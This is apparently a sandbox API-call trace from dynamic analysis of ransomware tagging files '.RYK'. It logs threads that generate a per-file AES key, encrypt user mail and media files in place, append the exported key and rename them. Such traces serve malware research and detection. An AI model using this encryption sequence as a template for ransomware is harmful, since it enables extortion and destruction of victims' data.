	[0268.337] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", dwFileAttributes=0x80) returned 0
	[0268.337] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.337] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.337] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\soft blue.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\soft blue.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3679
	os_tid = 0x3f08

	[0268.338] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", dwFileAttributes=0x80) returned 0
	[0268.338] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.338] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.339] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\softblue.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\softblue.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3680
	os_tid = 0x3f0c

	[0268.715] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", dwFileAttributes=0x80) returned 1
	[0269.283] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7dc
	[0269.283] GetFileSizeEx (in: hFile=0x7dc, lpFileSize=0xac8f618 | out: lpFileSize=0xac8f618*=230) returned 1
	[0269.283] GetFileSizeEx (in: hFile=0x7dc, lpFileSize=0xac8f628 | out: lpFileSize=0xac8f628*=230) returned 1
	[0269.283] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0xac8f5f8 | out: phKey=0xac8f5f8*=0x3f81f0) returned 1
	[0269.284] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0269.284] ReadFile (in: hFile=0x7dc, lpBuffer=0x4580000, nNumberOfBytesToRead=0xe6, lpNumberOfBytesRead=0xac8f604, lpOverlapped=0x0 | out: lpBuffer=0x4580000*, lpNumberOfBytesRead=0xac8f604*=0xe6, lpOverlapped=0x0) returned 1
	[0269.286] CryptEncrypt (in: hKey=0x3f81f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0xac8f600*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0xac8f600*=0xf4250) returned 1
	[0269.286] CryptEncrypt (in: hKey=0x3f81f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4580000*, pdwDataLen=0xac8f608*=0xe6, dwBufLen=0xf4250 | out: pbData=0x4580000*, pdwDataLen=0xac8f608*=0xf0) returned 1
	[0269.286] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0269.286] WriteFile (in: hFile=0x7dc, lpBuffer=0x4580000*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0xac8f604, lpOverlapped=0x0 | out: lpBuffer=0x4580000*, lpNumberOfBytesWritten=0xac8f604*=0xf0, lpOverlapped=0x0) returned 1
	[0269.286] WriteFile (in: hFile=0x7dc, lpBuffer=0xac8f630*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0xac8f610, lpOverlapped=0x0 | out: lpBuffer=0xac8f630*, lpNumberOfBytesWritten=0xac8f610*=0x6, lpOverlapped=0x0) returned 1
	[0269.286] CryptExportKey (in: hKey=0x3f81f0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xac8f620 | out: pbData=0x0*, pdwDataLen=0xac8f620*=0x10c) returned 1
	[0269.286] CryptExportKey (in: hKey=0x3f81f0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0xac8f690, pdwDataLen=0xac8f620 | out: pbData=0xac8f690*, pdwDataLen=0xac8f620*=0x10c) returned 1
	[0269.286] WriteFile (in: hFile=0x7dc, lpBuffer=0xac8f690*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0xac8f610, lpOverlapped=0x0 | out: lpBuffer=0xac8f690*, lpNumberOfBytesWritten=0xac8f610*=0x10c, lpOverlapped=0x0) returned 1
	[0269.286] CloseHandle (hObject=0x7dc) returned 1
	[0269.323] CryptDestroyKey (hKey=0x3f81f0) returned 1
	[0269.323] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\stars.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Stars.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\stars.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3681
	os_tid = 0x3f18

	[0268.715] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", dwFileAttributes=0x80) returned 1
	[0269.525] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7e8
	[0269.525] GetFileSizeEx (in: hFile=0x7e8, lpFileSize=0x8c2fa78 | out: lpFileSize=0x8c2fa78*=7505) returned 1
	[0269.525] GetFileSizeEx (in: hFile=0x7e8, lpFileSize=0x8c2fa88 | out: lpFileSize=0x8c2fa88*=7505) returned 1
	[0269.525] SetFilePointerEx (in: hFile=0x7e8, liDistanceToMove=0x1c2f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0269.525] ReadFile (in: hFile=0x7e8, lpBuffer=0x8c2fad0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8c2fa40, lpOverlapped=0x0 | out: lpBuffer=0x8c2fad0*, lpNumberOfBytesRead=0x8c2fa40*=0x19, lpOverlapped=0x0) returned 1
	[0269.528] SetFilePointer (in: hFile=0x7e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0269.528] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x8c2fa58 | out: phKey=0x8c2fa58*=0x3f7ee0) returned 1
	[0269.528] SetFilePointer (in: hFile=0x7e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0269.528] ReadFile (in: hFile=0x7e8, lpBuffer=0x2610000, nNumberOfBytesToRead=0x1d51, lpNumberOfBytesRead=0x8c2fa64, lpOverlapped=0x0 | out: lpBuffer=0x2610000*, lpNumberOfBytesRead=0x8c2fa64*=0x1d51, lpOverlapped=0x0) returned 1
	[0269.529] CryptEncrypt (in: hKey=0x3f7ee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8c2fa60*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8c2fa60*=0xf4250) returned 1
	[0269.529] CryptEncrypt (in: hKey=0x3f7ee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2610000*, pdwDataLen=0x8c2fa68*=0x1d51, dwBufLen=0xf4250 | out: pbData=0x2610000*, pdwDataLen=0x8c2fa68*=0x1d60) returned 1
	[0269.529] SetFilePointer (in: hFile=0x7e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0269.529] WriteFile (in: hFile=0x7e8, lpBuffer=0x2610000*, nNumberOfBytesToWrite=0x1d60, lpNumberOfBytesWritten=0x8c2fa64, lpOverlapped=0x0 | out: lpBuffer=0x2610000*, lpNumberOfBytesWritten=0x8c2fa64*=0x1d60, lpOverlapped=0x0) returned 1
	[0269.529] WriteFile (in: hFile=0x7e8, lpBuffer=0x8c2fa90*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8c2fa70, lpOverlapped=0x0 | out: lpBuffer=0x8c2fa90*, lpNumberOfBytesWritten=0x8c2fa70*=0x6, lpOverlapped=0x0) returned 1
	[0269.529] CryptExportKey (in: hKey=0x3f7ee0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8c2fa80 | out: pbData=0x0*, pdwDataLen=0x8c2fa80*=0x10c) returned 1
	[0269.529] CryptExportKey (in: hKey=0x3f7ee0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x8c2faf0, pdwDataLen=0x8c2fa80 | out: pbData=0x8c2faf0*, pdwDataLen=0x8c2fa80*=0x10c) returned 1
	[0269.529] WriteFile (in: hFile=0x7e8, lpBuffer=0x8c2faf0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8c2fa70, lpOverlapped=0x0 | out: lpBuffer=0x8c2faf0*, lpNumberOfBytesWritten=0x8c2fa70*=0x10c, lpOverlapped=0x0) returned 1
	[0269.529] CloseHandle (hObject=0x7e8) returned 1
	[0269.536] CryptDestroyKey (hKey=0x3f7ee0) returned 1
	[0269.536] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\stars.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\stars.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3694
	os_tid = 0x3f4c

	[0269.877] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", dwFileAttributes=0x80) returned 0
	[0269.877] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\windowsmail.msmessagestore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.877] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.877] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\windowsmail.msmessagestore"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\windowsmail.msmessagestore.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3695
	os_tid = 0x3f50

	[0269.879] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.pat", dwFileAttributes=0x80) returned 1
	[0275.299] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.pat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\windowsmail.pat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x820
	[0275.300] GetFileSizeEx (in: hFile=0x820, lpFileSize=0x914fc98 | out: lpFileSize=0x914fc98*=0) returned 1
	[0275.300] GetFileSizeEx (in: hFile=0x820, lpFileSize=0x914fca8 | out: lpFileSize=0x914fca8*=0) returned 1
	[0275.300] CloseHandle (hObject=0x820) returned 1
	[0275.300] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.pat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\windowsmail.pat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.pat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\windowsmail.pat.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3696
	os_tid = 0x3f54

	[0269.881] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", dwFileAttributes=0x80) returned 1
	[0273.806] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows media\\12.0\\wmsdkns.dtd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7ec
	[0273.807] GetFileSizeEx (in: hFile=0x7ec, lpFileSize=0x8ccf5b8 | out: lpFileSize=0x8ccf5b8*=498) returned 1
	[0273.807] GetFileSizeEx (in: hFile=0x7ec, lpFileSize=0x8ccf5c8 | out: lpFileSize=0x8ccf5c8*=498) returned 1
	[0273.807] SetFilePointerEx (in: hFile=0x7ec, liDistanceToMove=0xd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0273.807] ReadFile (in: hFile=0x7ec, lpBuffer=0x8ccf610, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8ccf580, lpOverlapped=0x0 | out: lpBuffer=0x8ccf610*, lpNumberOfBytesRead=0x8ccf580*=0x19, lpOverlapped=0x0) returned 1
	[0273.809] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0273.809] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x8ccf598 | out: phKey=0x8ccf598*=0x3f7d90) returned 1
	[0273.809] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0273.809] ReadFile (in: hFile=0x7ec, lpBuffer=0x3180000, nNumberOfBytesToRead=0x1f2, lpNumberOfBytesRead=0x8ccf5a4, lpOverlapped=0x0 | out: lpBuffer=0x3180000*, lpNumberOfBytesRead=0x8ccf5a4*=0x1f2, lpOverlapped=0x0) returned 1
	[0273.809] CryptEncrypt (in: hKey=0x3f7d90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8ccf5a0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8ccf5a0*=0xf4250) returned 1
	[0273.809] CryptEncrypt (in: hKey=0x3f7d90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3180000*, pdwDataLen=0x8ccf5a8*=0x1f2, dwBufLen=0xf4250 | out: pbData=0x3180000*, pdwDataLen=0x8ccf5a8*=0x200) returned 1
	[0273.809] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0273.809] WriteFile (in: hFile=0x7ec, lpBuffer=0x3180000*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x8ccf5a4, lpOverlapped=0x0 | out: lpBuffer=0x3180000*, lpNumberOfBytesWritten=0x8ccf5a4*=0x200, lpOverlapped=0x0) returned 1
	[0273.810] WriteFile (in: hFile=0x7ec, lpBuffer=0x8ccf5d0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8ccf5b0, lpOverlapped=0x0 | out: lpBuffer=0x8ccf5d0*, lpNumberOfBytesWritten=0x8ccf5b0*=0x6, lpOverlapped=0x0) returned 1
	[0273.810] CryptExportKey (in: hKey=0x3f7d90, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8ccf5c0 | out: pbData=0x0*, pdwDataLen=0x8ccf5c0*=0x10c) returned 1
	[0273.810] CryptExportKey (in: hKey=0x3f7d90, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x8ccf630, pdwDataLen=0x8ccf5c0 | out: pbData=0x8ccf630*, pdwDataLen=0x8ccf5c0*=0x10c) returned 1
	[0273.810] WriteFile (in: hFile=0x7ec, lpBuffer=0x8ccf630*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8ccf5b0, lpOverlapped=0x0 | out: lpBuffer=0x8ccf630*, lpNumberOfBytesWritten=0x8ccf5b0*=0x10c, lpOverlapped=0x0) returned 1
	[0273.810] CloseHandle (hObject=0x7ec) returned 1
	[0273.812] CryptDestroyKey (hKey=0x3f7d90) returned 1
	[0273.812] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows media\\12.0\\wmsdkns.dtd"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows media\\12.0\\wmsdkns.dtd.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3697
	os_tid = 0x3f58

	[0269.881] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML", dwFileAttributes=0x80) returned 1
	[0273.511] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows media\\12.0\\wmsdkns.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f4
	[0273.511] GetFileSizeEx (in: hFile=0x7f4, lpFileSize=0x98cfa78 | out: lpFileSize=0x98cfa78*=10191) returned 1
	[0273.512] GetFileSizeEx (in: hFile=0x7f4, lpFileSize=0x98cfa88 | out: lpFileSize=0x98cfa88*=10191) returned 1
	[0273.512] SetFilePointerEx (in: hFile=0x7f4, liDistanceToMove=0x26ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0273.512] ReadFile (in: hFile=0x7f4, lpBuffer=0x98cfad0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x98cfa40, lpOverlapped=0x0 | out: lpBuffer=0x98cfad0*, lpNumberOfBytesRead=0x98cfa40*=0x19, lpOverlapped=0x0) returned 1
	[0273.514] SetFilePointer (in: hFile=0x7f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0273.514] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x98cfa58 | out: phKey=0x98cfa58*=0x3f7e00) returned 1
	[0273.514] SetFilePointer (in: hFile=0x7f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0273.515] ReadFile (in: hFile=0x7f4, lpBuffer=0x3280000, nNumberOfBytesToRead=0x27cf, lpNumberOfBytesRead=0x98cfa64, lpOverlapped=0x0 | out: lpBuffer=0x3280000*, lpNumberOfBytesRead=0x98cfa64*=0x27cf, lpOverlapped=0x0) returned 1
	[0273.516] CryptEncrypt (in: hKey=0x3f7e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x98cfa60*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x98cfa60*=0xf4250) returned 1
	[0273.516] CryptEncrypt (in: hKey=0x3f7e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3280000*, pdwDataLen=0x98cfa68*=0x27cf, dwBufLen=0xf4250 | out: pbData=0x3280000*, pdwDataLen=0x98cfa68*=0x27d0) returned 1
